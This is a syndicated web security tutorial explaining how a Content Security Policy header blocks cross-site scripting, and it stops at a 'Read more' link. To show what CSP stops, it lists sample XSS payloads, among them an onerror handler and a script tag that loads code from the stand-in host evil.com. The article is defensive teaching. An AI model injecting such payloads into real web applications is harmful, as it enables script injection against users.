Defending against XSS with CSP
Tags: security, javascript, webdev
Published: 2021-12-20 11:06:21

#### Learn how to use Content Security Policy (CSP) to prevent the execution of malicious script code in your application.

### <br>

**TL;DR:** Content Security Policy (CSP) started as a simple defense but quickly evolved into a complex security policy. This article investigates how to build an effective CSP policy to counter XSS vulnerabilities. Concretely, we use step-by-step examples to highlight bypasses against CSP and examine how to use nonces, hashes, and `'strict-dynamic'` to build a robust CSP policy for modern applications.

## What Is CSP?

The first version of Content Security Policy (CSP) was implemented in 2010 and discussed in [an academic paper authored by people from Mozilla](https://research.sidstamm.com/papers/csp-www2010.pdf). The paper described how a developer could define a security policy to tell the browser exactly which resources can be loaded in a web application.

The idea behind CSP was met with great enthusiasm, but it turns out that controlling the loading of resources in modern applications is a bit more complicated than initially thought. Nonetheless, CSP has been under constant development and still is today.

An essential responsibility of a modern-day CSP policy is to act as **a second line of defense** against XSS vulnerabilities. Based on the historical track record of virtually every web application, it is almost certain that the application will be vulnerable at XSS at some point. What if CSP policy could stop the attacker from exploiting that vulnerability?

That's what we will explore in this article. We'll start with the basics and gradually dive deeper and deeper into more recent CSP features. 

> Before we get started, note that deploying CSP does not absolve you from the responsibility of following [secure coding guidelines to avoid XSS vulnerabilities](https://auth0.com/blog/cross-site-scripting-xss/) in the first place. CSP only offers a second line of defense in case something goes wrong. 

Let's dive in!

## Blocking Script Execution with CSP

When an application contains an XSS vulnerability, user-provided data is picked up by the browser as executable code. For example, a malicious user can change their name to `philippe<script>evilCode()</script>`. When another user of the application visits the malicious user's profile, their browser will see the malicious code and execute it. That gives the malicious user control over the application's execution context in the victim's browser.

If this short recap of XSS vulnerabilities sounds confusing, I recommend you check out this [in-depth article on XSS](https://auth0.com/blog/cross-site-scripting-xss/) first.

For the remainder of this article, we assume that the application contains an XSS vulnerability that a malicious user can exploit. To exploit such a vulnerability, the attacker can use a variety of payloads. This code snippet lists a few different options:

```html
<!-- Inline code -->
<img src="none.png" onerror="evilCode()">

<!-- Code block -->
<script>evilCode()</script>

<!-- Remote code file -->
<script src="https://evil.com/code.js"></script>
```

CSP aims to prevent the execution of each of these attack vectors. To achieve that, CSP enforces restrictions on which script code can be executed. The snippet below shows a CSP response header with a minimal policy configuration:

```
Content-Security-Policy: script-src 'self'
```

The server includes this header on the response that sends an HTML page to the browser. This policy configuration tells the browser that this page can only execute scripts coming from its own origin. 

Concretely, this means that if the application is running on `https://example.com/app`, the browser only executes remote JavaScript code coming from `https://example.com`. Anything else is blocked.

Our first attack vector from before relied on inline code to trigger the execution of malicious code. This code is present in the page, but the browser has no idea whether this code is supposed to be there. It is not loaded from `https://example.com`, so it will not execute.

Similarly, the provenance of inline code blocks is unknown, so they are not executed.

Finally, the remote code file is loaded from `https://evil.com`. Since `https://evil.com` does not correspond to the application's origin, `https://example.com`, the browser will refuse to load this file.

As you can see, CSP blocks the execution of all potentially dubious JavaScript code. Well, actually, this CSP policy blocks the execution of all JavaScript code that is not remotely loaded from the application's origin. 

This means that if the application relies on inline event handlers, such as `onload` or `onclick`, that code will not execute. Similarly, if the application uses inline code blocks, they will not be executed.

🖥 *A running example of this setup is provided by the `/basics` endpoint of [this Express demo application](https://github.com/auth0-blog/csp-against-xss-demo).* 

Unsurprisingly, such a CSP policy is wildly incompatible with many applications. Even today, we often rely on inline code blocks to load JavaScript code into the application.

CSP Level 2 introduces hashes and nonces to address these incompatibilities.
[Read more...](https://auth0.com/blog/defending-against-xss-with-csp/?utm_source=content_synd&utm_medium=sc&utm_campaign=xss)